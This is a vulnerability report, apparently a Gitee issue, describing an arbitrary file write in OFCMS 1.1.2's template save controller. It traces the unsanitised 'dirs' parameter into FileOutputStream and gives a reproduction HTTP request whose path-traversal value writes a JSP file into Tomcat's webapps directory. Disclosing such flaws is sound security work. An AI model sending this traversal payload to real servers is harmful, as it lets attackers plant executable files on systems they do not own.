OFCMS 1.1.2 has an arbitrary file write location

Vulnerability product: ofcms
Vulnerability version: 1.1.2
Source code link: https://gitee.com/oufu/ofcms/releases/download/V1.1.2/ofcms-admin.war
Vulnerability type: Write any file
Vulnerability details:
The save method in the ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java file did not process the value of the received dirs and was directly passed into the new FileOutputStream function in the write String method of the ofcms-admin\src\main\java\com\ofsoft\cms\core\uitle\FileUtils.java file for reading and writing.

Code audit process:
The file ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java did not process the incoming dirs parameter
![输入图片说明](https://foruda.gitee.com/images/1726818611937931521/928493a5_10487392.png "屏幕截图")
Then directly use new FileOutputStream to process it
![输入图片说明](https://foruda.gitee.com/images/1726818645255585629/76a75bae_10487392.png "屏幕截图")

Vulnerability reproduction:
Backend administrator privileges

```
POST /ofcms-admin/admin/cms/template/save.json HTTP/1.1
Host: 192.168.74.150:8080
Content-Length: 52
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.74.150:8080
Referer: http://192.168.74.150:8080/ofcms-admin/admin/f.html?p=system/log/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BE6318C477E70A8CE8C82EB63282452D
Connection: close

dirs=/../../../../&file_name=1.jsp&file_content=test
```
![输入图片说明](https://foruda.gitee.com/images/1726818697067983660/bc662785_10487392.png "屏幕截图")
The JSP file has been written into the webapps directory of Tomcat
![输入图片说明](https://foruda.gitee.com/images/1726818730086491225/8c5a96ab_10487392.png "屏幕截图")

欧福/ofcms

内容风险标识

评论 (0)

欧福/ofcms .gitee-modal { width: 500px !important; }

内容风险标识